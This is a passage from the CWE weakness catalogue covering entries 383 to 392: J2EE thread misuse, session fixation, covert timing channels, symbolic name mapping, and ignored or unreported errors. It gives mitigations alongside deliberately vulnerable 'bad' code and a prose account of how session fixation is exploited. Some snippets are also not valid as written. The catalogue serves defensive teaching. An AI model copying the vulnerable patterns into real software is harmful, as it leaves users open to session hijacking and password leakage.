This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	361	7PK - Time and State	700	1860
MemberOf	C	730	OWASP Top Ten 2004 Category A9 - Denial of Service	711	1879
MemberOf	C	851	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)	844	1905
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	1959
MemberOf	C	1141	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)	1133	1987

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			J2EE Bad Practices: System.exit()
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service
The CERT Oracle Secure Coding Standard for Java (2011)	ERR09-J		Do not allow untrusted code to terminate the JVM
Software Fault Patterns	SFP3		Use of an improper API

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-383: J2EE Bad Practices: Direct Use of Threads

Weakness ID : 383 **Status:** Draft

Structure : Simple
Abstraction : Variant

Description

Thread management in a Web application is forbidden in some circumstances and is always highly error prone.

Extended Description

Thread management in a web application is forbidden by the J2EE standard in some circumstances and is always highly error prone. Managing threads is difficult and is likely to interfere in unpredictable ways with the behavior of the application container. Even without interfering with the container, thread management usually leads to bugs that are hard to detect and diagnose like deadlock, race conditions, and other synchronization errors.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	695	Use of Low-Level Functionality	1347

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Potential Mitigations

Phase: Architecture and Design

For EJB, use framework approaches for parallel execution, instead of using threads.

Demonstrative Examples

Example 1:

In the following example, a new Thread object is created and invoked directly from within the body of a doGet() method in a Java servlet.

Example Language: Java *(bad)*

```
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    // Perform servlet tasks.
    ...
    // Create a new thread to handle background processing.
    Runnable r = new Runnable() {
        public void run() {
            // Process and store request statistics.
            ...
        }
    };
    new Thread(r).start();
}
```

Affected Resources

- System Process

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	361	7PK - Time and State	700	1860
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	1959

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			J2EE Bad Practices: Threads
Software Fault Patterns	SFP3		Use of an improper API

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-384: Session Fixation

Weakness ID : 384 **Status:** Incomplete
Structure : Composite
Abstraction : Compound

Description

Authenticating a user, or otherwise establishing a new user session, without invalidating any existing session identifier gives an attacker the opportunity to steal authenticated sessions.

Composite Components

Nature	Type	ID	Name	Page
Requires	B	346	Origin Validation Error	760
Requires	B	472	External Control of Assumed-Immutable Web Parameter	1001
Requires	C	441	Unintended Proxy or Intermediary ('Confused Deputy')	950

Extended Description

Such a scenario is commonly observed when:

1. A web application authenticates a user without first invalidating the existing session, thereby continuing to use the session already associated with the user.
2. An attacker is able to force a known session identifier on a user so that, once the user authenticates, the attacker has access to the authenticated session.
3. The application or container uses predictable session identifiers. In the generic exploit of session fixation vulnerabilities, an attacker creates a new session on a web application and records the associated session identifier. The attacker then causes the victim to associate, and possibly authenticate, against the server using that session identifier, giving the attacker access to the user's account through the active session.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		610	Externally Controlled Reference to a Resource in Another Sphere	1213

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf		610	Externally Controlled Reference to a Resource in Another Sphere	1213

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1018	Manage User Sessions	1972

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

Potential Mitigations

Phase: Architecture and Design

Invalidate any existing session identifiers prior to authorizing a new user session.

Phase: Architecture and Design

For platforms such as ASP that do not generate new values for sessionid cookies, utilize a secondary cookie. In this approach, set a secondary cookie on the user's browser to a random value and set a session variable to the same value. If the session variable and the cookie value ever don't match, invalidate the session, and force the user to log on again.

Demonstrative Examples

Example 1:

The following example shows a snippet of code from a J2EE web application where the application authenticates users with LoginContext.login() without first calling HttpSession.invalidate().

Example Language: Java *(bad)*

```
private void auth(LoginContext lc, HttpSession session) throws LoginException {
    ...
    lc.login();
    ...
}
```

In order to exploit the code above, an attacker could first create a session (perhaps by logging into the application) from a public terminal, record the session identifier assigned by the application, and reset the browser to the login page. Next, a victim sits down at the same public terminal, notices the browser open to the login page of the site, and enters credentials to authenticate against the application. The code responsible for authenticating the victim continues to use the pre-existing session identifier, now the attacker simply uses the session identifier recorded earlier to access the victim's active session, providing nearly unrestricted access to the victim's account for the lifetime of the session. Even given a vulnerable application, the success of the specific attack described

here is dependent on several factors working in the favor of the attacker: access to an unmonitored public terminal, the ability to keep the compromised session active and a victim interested in logging into the vulnerable application on the public terminal.

In most circumstances, the first two challenges are surmountable given a sufficient investment of time. Finding a victim who is both using a public terminal and interested in logging into the vulnerable application is possible as well, so long as the site is reasonably popular. The less well known the site is, the lower the odds of an interested victim using the public terminal and the lower the chance of success for the attack vector described above. The biggest challenge an attacker faces in exploiting session fixation vulnerabilities is inducing victims to authenticate against the vulnerable application using a session identifier known to the attacker.

In the example above, the attacker did this through a direct method that is not subtle and does not scale suitably for attacks involving less well-known web sites. However, do not be lulled into complacency; attackers have many tools in their belts that help bypass the limitations of this attack vector. The most common technique employed by attackers involves taking advantage of cross-site scripting or HTTP response splitting vulnerabilities in the target site [12]. By tricking the victim into submitting a malicious request to a vulnerable application that reflects JavaScript or other code back to the victim's browser, an attacker can create a cookie that will cause the victim to reuse a session identifier controlled by the attacker. It is worth noting that cookies are often tied to the top level domain associated with a given URL. If multiple applications reside on the same top level domain, such as bank.example.com and recipes.example.com, a vulnerability in one application can allow an attacker to set a cookie with a fixed session identifier that will be used in all interactions with any application on the domain example.com [29].

Example 2:

The following example shows a snippet of code from a J2EE web application where the application authenticates users with a direct post to the <code>j_security_check</code>, which typically does not invalidate the existing session before processing the login request.

Example Language: HTML *(bad)*

```
<form method="POST" action="j_security_check">
    <input type="text" name="j_username">
    <input type="text" name="j_password">
</form>
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	361	7PK - Time and State	700	1860
MemberOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	1876
MemberOf	C	930	OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management	928	1929
MemberOf	C	1028	OWASP Top Ten 2017 Category A2 - Broken Authentication	1026	1975

Notes

Other

Other attack vectors include DNS poisoning and related network based attacks where an attacker causes the user to visit a malicious site by redirecting a request for a valid site. Network based attacks typically involve a physical presence on the victim's network or control of a compromised machine on the network, which makes them harder to exploit remotely, but their

significance should not be overlooked. Less secure session management mechanisms, such as the default implementation in Apache Tomcat, allow session identifiers normally expected in a cookie to be specified on the URL as well, which enables an attacker to cause a victim to use a fixed session identifier simply by emailing a malicious URL.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Session Fixation
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management
WASC	37		Session Fixation

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
21	Exploitation of Trusted Credentials
31	Accessing/Intercepting/Modifying HTTP Cookies
39	Manipulating Opaque Client-based Data Tokens
59	Session Credential Falsification through Prediction
60	Reusing Session IDs (aka Session Replay)
61	Session Fixation
196	Session Credential Falsification through Forging

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-385: Covert Timing Channel

Weakness ID : 385 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

Covert timing channels convey information by modulating some aspect of system behavior over time, so that the program receiving the information can observe system behavior and infer protected information.

Extended Description

In some instances, knowing when data is transmitted between parties can provide a malicious user with privileged information. Also, externally monitoring the timing of operations can potentially reveal sensitive data. For example, a cryptographic operation can expose its internal state if the time it takes to perform the operation varies, based on the state.

Covert channels are frequently classified as either storage or timing channels. Some examples of covert timing channels are the system's paging rate, the time a certain transaction requires to execute, and the time it takes to gain access to a shared bus.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	514	Covert Channel	1086
CanFollow	B	208	Observable Timing Discrepancy	488

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	417	Communication Channel Errors	1865

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality Other	Read Application Data Other *Information exposure.*	

Potential Mitigations

Phase: Architecture and Design

Whenever possible, specify implementation strategies that do not introduce time variances in operations.

Phase: Implementation

Often one can artificially manipulate the time which operations take or -- when operations occur -- can remove information from the attacker.

Phase: Implementation

It is reasonable to add artificial or random delays so that the amount of CPU time consumed is independent of the action being taken by the application.

Demonstrative Examples

Example 1:

In this example, the attacker observes how long an authentication takes when the user types in the correct password.

When the attacker tries their own values, they can first try strings of various length. When they find a string of the right length, the computation will take a bit longer, because the for loop will run at least once. Additionally, with this code, the attacker can possibly learn one character of the password at a time, because when they guess the first character right, the computation will take longer than a wrong guesses. Such an attack can break even the most sophisticated password with a few hundred guesses.

Example Language: Python *(bad)*

```
def validate_password(actual_pw, typed_pw):
    if len(actual_pw) <> len(typed_pw):
        return 0
    for i in len(actual_pw):
        if actual_pw[i] <> typed_pw[i]:
            return 0
```

```
return 1
```

Note that, in this example, the actual password must be handled in constant time, as far as the attacker is concerned, even if the actual password is of an unusual length. This is one reason why it is good to use an algorithm that, among other things, stores a seeded cryptographic one-way hash of the password, then compare the hashes, which will always be of the same length.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	968	SFP Secondary Cluster: Covert Channel	888	1944

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Landwehr			Timing
CLASP			Covert Timing Channel

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
462	Cross-Domain Search Timing

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

CWE-386: Symbolic Name not Mapping to Correct Object

Weakness ID : 386 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

A constant symbolic reference to an object is used, even though the reference can resolve to a different object over time.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	706	Use of Incorrectly-Resolved Name or Reference	1360
PeerOf	B	367	Time-of-check Time-of-use (TOCTOU) Race Condition	812
PeerOf	V	486	Comparison of Classes by Name	1036
PeerOf	C	610	Externally Controlled Reference to a Resource in Another Sphere	1213

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	557	Concurrency Issues	1869

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity *The attacker can gain access to otherwise unauthorized resources.*	
Integrity Confidentiality Other	Modify Application Data Modify Files or Directories Read Application Data Read Files or Directories Other *Race conditions such as this kind may be employed to gain read or write access to resources not normally readable or writable by the user in question.*	
Integrity Other	Modify Application Data Other *The resource in question, or other resources (through the corrupted one) may be changed in undesirable ways by a malicious user.*	
Non-Repudiation	Hide Activities *If a file or other resource is written in this method, as opposed to a valid way, logging of the activity may not occur.*	
Non-Repudiation Integrity	Modify Files or Directories *In some cases it may be possible to delete files that a malicious user might not otherwise have access to -- such as log files.*	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	980	SFP Secondary Cluster: Link in Resource Name Resolution	888	1948

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Symbolic name not mapping to correct object

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

CWE-390: Detection of Error Condition Without Action

Weakness ID : 390 **Status:** Draft
Structure : Simple

Abstraction : Base

Description

The software detects a specific error, but takes no actions to handle the error.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	755	Improper Handling of Exceptional Conditions	1389
PeerOf	B	600	Uncaught Exception in Servlet	1193
CanPrecede	V	401	Missing Release of Memory after Effective Lifetime	872

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1020	Verify Message Integrity	1974

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	389	Error Conditions, Return Values, Status Codes	1863

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Integrity Other	Varies by Context Unexpected State Alter Execution Logic *An attacker could utilize an ignored error condition to place the system in an unexpected state that could lead to the execution of unintended logic and could cause other unintended behavior.*	

Potential Mitigations

Phase: Implementation

Properly handle each exception. This is the recommended solution. Ensure that all exceptions are handled in such a way that you can be sure of the state of your system at any given moment.

Phase: Implementation

If a function returns an error, it is important to either fix the problem and try again, alert the user that an error has happened and let the program continue, or alert the user and close and cleanup the program.

Phase: Testing

Subject the software to extensive testing to discover some of the possible instances of where/how errors or return values are not handled. Consider testing techniques such as ad hoc, equivalence partitioning, robustness and fault tolerance, mutation, and fuzzing.

Demonstrative Examples

Example 1:

The following example attempts to allocate memory for a character. After the call to malloc, an if statement is used to check whether the malloc function failed.

Example Language: C *(bad)*

```
foo=malloc(sizeof(char)); //the next line checks to see if malloc failed
if (foo==NULL) {
    //We do nothing so we just ignore the error.
}
```

The conditional successfully detects a NULL return value from malloc indicating a failure, however it does not do anything to handle the problem. Unhandled errors may have unexpected results and may cause the program to crash or terminate.

Instead, the if block should contain statements that either attempt to fix the problem or notify the user that an error has occurred and continue processing or perform some cleanup and gracefully terminate the program. The following example notifies the user that the malloc function did not allocate the required memory resources and returns an error code.

Example Language: C *(good)*

```
foo=malloc(sizeof(char)); //the next line checks to see if malloc failed
if (foo==NULL) {
    printf("Malloc failed to allocate memory resources");
    return -1;
}
```

Example 2:

In the following C++ example the method readFile() will read the file whose name is provided in the input parameter and will return the contents of the file in char string. The method calls open() and read() may result in errors if the file does not exist or does not contain any data to read. These errors will be thrown when the is_open() method and good() method indicate errors opening or reading the file. However, these errors are not handled within the catch statement. Catch statements that do not perform any processing will have unexpected results. In this case an empty char string will be returned, and the file will not be properly closed.

Example Language: C++ *(bad)*

```
char* readfile (char *filename) {
    try {
        // open input file
        ifstream infile;
        infile.open(filename);
        if (!infile.is_open()) {
            throw "Unable to open file " + filename;
        }
        // get length of file
        infile.seekg (0, ios::end);
        int length = infile.tellg();
        infile.seekg (0, ios::beg);
        // allocate memory
        char *buffer = new char [length];
        // read data from file
        infile.read (buffer,length);
        if (!infile.good()) {
            throw "Unable to read from file " + filename;
        }
        infile.close();
        return buffer;
    }
```

```
    catch (...) {
        /* bug: insert code to handle this later */
    }
}
```

The catch statement should contain statements that either attempt to fix the problem or notify the user that an error has occurred and continue processing or perform some cleanup and gracefully terminate the program. The following C++ example contains two catch statements. The first of these will catch a specific error thrown within the try block, and the second catch statement will catch all other errors from within the catch block. Both catch statements will notify the user that an error has occurred, close the file, and rethrow to the block that called the readFile() method for further handling or possible termination of the program.

Example Language: C++ *(good)*

```
char* readFile (char *filename) {
    try {
        // open input file
        ifstream infile;
        infile.open(filename);
        if (!infile.is_open()) {
            throw "Unable to open file " + filename;
        }
        // get length of file
        infile.seekg (0, ios::end);
        int length = infile.tellg();
        infile.seekg (0, ios::beg);
        // allocate memory
        char *buffer = new char [length];
        // read data from file
        infile.read (buffer,length);
        if (!infile.good()) {
            throw "Unable to read from file " + filename;
        }
        infile.close();
        return buffer;
    }
    catch (char *str) {
        printf("Error: %s \n", str);
        infile.close();
        throw str;
    }
    catch (...) {
        printf("Error occurred trying to read from file \n");
        infile.close();
        throw;
    }
}
```

Example 3:

In the following Java example the method readFile will read the file whose name is provided in the input parameter and will return the contents of the file in a String object. The constructor of the FileReader object and the read method call may throw exceptions and therefore must be within a try/catch block. While the catch statement in this example will catch thrown exceptions in order for the method to compile, no processing is performed to handle the thrown exceptions. Catch statements that do not perform any processing will have unexpected results. In this case, this will result in the return of a null String.

Example Language: Java *(bad)*

```
public String readFile(String filename) {
    String retString = null;
    try {
```

```
        // initialize File and FileReader objects
        File file = new File(filename);
        FileReader fr = new FileReader(file);
        // initialize character buffer
        long fLen = file.length();
        char[] cBuf = new char[(int) fLen];
        // read data from file
        int iRead = fr.read(cBuf, 0, (int) fLen);
        // close file
        fr.close();
        retString = new String(cBuf);
    } catch (Exception ex) {
        /* do nothing, but catch so it'll compile... */
    }
    return retString;
}
```

The catch statement should contain statements that either attempt to fix the problem, notify the user that an exception has been raised and continue processing, or perform some cleanup and gracefully terminate the program. The following Java example contains three catch statements. The first of these will catch the FileNotFoundException that may be thrown by the FileReader constructor called within the try/catch block. The second catch statement will catch the IOException that may be thrown by the read method called within the try/catch block. The third catch statement will catch all other exceptions thrown within the try block. For all catch statements the user is notified that the exception has been thrown and the exception is rethrown to the block that called the readFile() method for further processing or possible termination of the program. Note that with Java it is usually good practice to use the getMessage() method of the exception class to provide more information to the user about the exception raised.

Example Language: Java *(good)*

```
public String readFile(String filename) throws FileNotFoundException, IOException, Exception {
    String retString = null;
    try {
        // initialize File and FileReader objects
        File file = new File(filename);
        FileReader fr = new FileReader(file);
        // initialize character buffer
        long fLen = file.length();
        char [] cBuf = new char[(int) fLen];
        // read data from file
        int iRead = fr.read(cBuf, 0, (int) fLen);
        // close file
        fr.close();
        retString = new String(cBuf);
    } catch (FileNotFoundException ex) {
        System.err.println ("Error: FileNotFoundException opening the input file: " + filename );
        System.err.println ("" + ex.getMessage() );
        throw new FileNotFoundException(ex.getMessage());
    } catch (IOException ex) {
        System.err.println("Error: IOException reading the input file.\n" + ex.getMessage() );
        throw new IOException(ex);
    } catch (Exception ex) {
        System.err.println("Error: Exception reading the input file.\n" + ex.getMessage() );
        throw new Exception(ex);
    }
    return retString;
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	728	OWASP Top Ten 2004 Category A7 - Improper Error Handling	711	1878
MemberOf	C	851	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)	844	1905
MemberOf	C	880	CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)	868	1919
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	962	SFP Secondary Cluster: Unchecked Status Condition	888	1940

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Improper error handling
The CERT Oracle Secure Coding Standard for Java (2011)	ERR00-J		Do not suppress or ignore checked exceptions
Software Fault Patterns	SFP4		Unchecked Status Condition

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-391: Unchecked Error Condition

Weakness ID : 391 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

[PLANNED FOR DEPRECATION. SEE MAINTENANCE NOTES.] Ignoring exceptions and other error conditions may allow an attacker to induce unexpected behavior unnoticed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	703	Improper Check or Handling of Exceptional Conditions	1355

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1020	Verify Message Integrity	1974

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	389	Error Conditions, Return Values, Status Codes	1863

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Integrity Other	Varies by Context Unexpected State Alter Execution Logic	

Potential Mitigations

Phase: Requirements

The choice between a language which has named or unnamed exceptions needs to be done. While unnamed exceptions exacerbate the chance of not properly dealing with an exception, named exceptions suffer from the up call version of the weak base class problem.

Phase: Requirements

A language can be used which requires, at compile time, to catch all serious exceptions. However, one must make sure to use the most current version of the API as new exceptions could be added.

Phase: Implementation

Catch all relevant exceptions. This is the recommended solution. Ensure that all exceptions are handled in such a way that you can be sure of the state of your system at any given moment.

Demonstrative Examples

Example 1:

The following code excerpt ignores a rarely-thrown exception from doExchange().

Example Language: Java *(bad)*

```
try {
    doExchange();
}
catch (RareException e) {
    // this can never happen
}
```

If a RareException were to ever be thrown, the program would continue to execute as though nothing unusual had occurred. The program records no evidence indicating the special situation, potentially frustrating any later attempt to explain the program's behavior.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	388	7PK - Errors	700	1862
MemberOf	C	728	OWASP Top Ten 2004 Category A7 - Improper Error Handling	711	1878
MemberOf	C	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	1887
MemberOf	C	746	CERT C Secure Coding Standard (2008) Chapter 13 - Error Handling (ERR)	734	1890
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	1917

Nature	Type	ID	Name	V	Page
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	1917
MemberOf	C	880	CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)	868	1919
MemberOf	C	962	SFP Secondary Cluster: Unchecked Status Condition	888	1940
MemberOf	C	1159	SEI CERT C Coding Standard - Guidelines 05. Floating Point (FLP)	1154	1996
MemberOf	C	1167	SEI CERT C Coding Standard - Guidelines 12. Error Handling (ERR)	1154	2000
MemberOf	C	1171	SEI CERT C Coding Standard - Guidelines 50. POSIX (POS)	1154	2003

Notes

Maintenance

This entry is slated for deprecation; it has multiple widespread interpretations by CWE analysts. It currently combines information from three different taxonomies, but each taxonomy is talking about a slightly different issue. CWE analysts might map to this entry based on any of these issues. 7PK has "Empty Catch Block" which has an association with empty exception block (CWE-1069); in this case, the exception has performed the check, but does not handle. In PLOVER there is "Unchecked Return Value" which is CWE-252, but unlike "Empty Catch Block" there isn't even a check of the issue - and "Unchecked Error Condition" implies lack of a check. For CLASP, "Uncaught Exception" (CWE-248) is associated with incorrect error propagation - uncovered in CWE 3.2 and earlier, at least. There are other issues related to error handling and checks.

Other

When a programmer ignores an exception, they implicitly state that they are operating under one of two assumptions: This method call can never fail. It doesn't matter if this call fails.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unchecked Return Value
7 Pernicious Kingdoms			Empty Catch Block
CLASP			Uncaught exception
OWASP Top Ten 2004	A7	CWE More Specific	Improper Error Handling
CERT C Secure Coding	ERR00-C		Adopt and implement a consistent and comprehensive error-handling policy
CERT C Secure Coding	ERR33-C	CWE More Abstract	Detect and handle standard library errors
CERT C Secure Coding	ERR34-C	CWE More Abstract	Detect errors when converting a string to a number
CERT C Secure Coding	FLP32-C	Imprecise	Prevent or detect domain and range errors in math functions
CERT C Secure Coding	POS54-C	CWE More Abstract	Detect and handle POSIX library errors
SEI CERT Perl Coding Standard	EXP31-PL	Imprecise	Do not suppress or ignore exceptions
Software Fault Patterns	SFP4		Unchecked Status Condition

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

CWE-392: Missing Report of Error Condition

Weakness ID : 392 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software encounters an error but does not provide a status code or return value to indicate that an error has occurred.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	703	Improper Check or Handling of Exceptional Conditions	1355
ChildOf		684	Incorrect Provision of Specified Functionality	1332

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1012	Cross Cutting	1967

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	389	Error Conditions, Return Values, Status Codes	1863

Weakness Ordinalities

Primary :

Resultant :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Varies by Context	
Other	Unexpected State *Errors that are not properly reported could place the system in an unexpected state that could lead to unintended behaviors.*	

Demonstrative Examples

Example 1:

In the following snippet from a doPost() servlet method, the server returns "200 OK" (default) even if an error occurs.

Example Language: Java *(bad)*

```
try {
    // Something that may throw an exception.
    ...
} catch (Throwable t) {
    logger.error("Caught: " + t.toString());
    return;
```

```
}
```

Observed Examples

Reference	Description
CVE-2004-0063	Function returns "OK" even if another function returns a different status code than expected, leading to accepting an invalid PIN number. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0063*
CVE-2002-1446	Error checking routine in PKCS#11 library returns "OK" status even when invalid signature is detected, allowing spoofed messages. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1446*
CVE-2002-0499	Kernel function truncates long pathnames without generating an error, leading to operation on wrong directory. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0499*
CVE-2005-2459	Function returns non-error value when a particular erroneous condition is encountered, leading to resultant NULL dereference. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2459*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	855	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 12 - Thread Pools (TPS)	844	1907
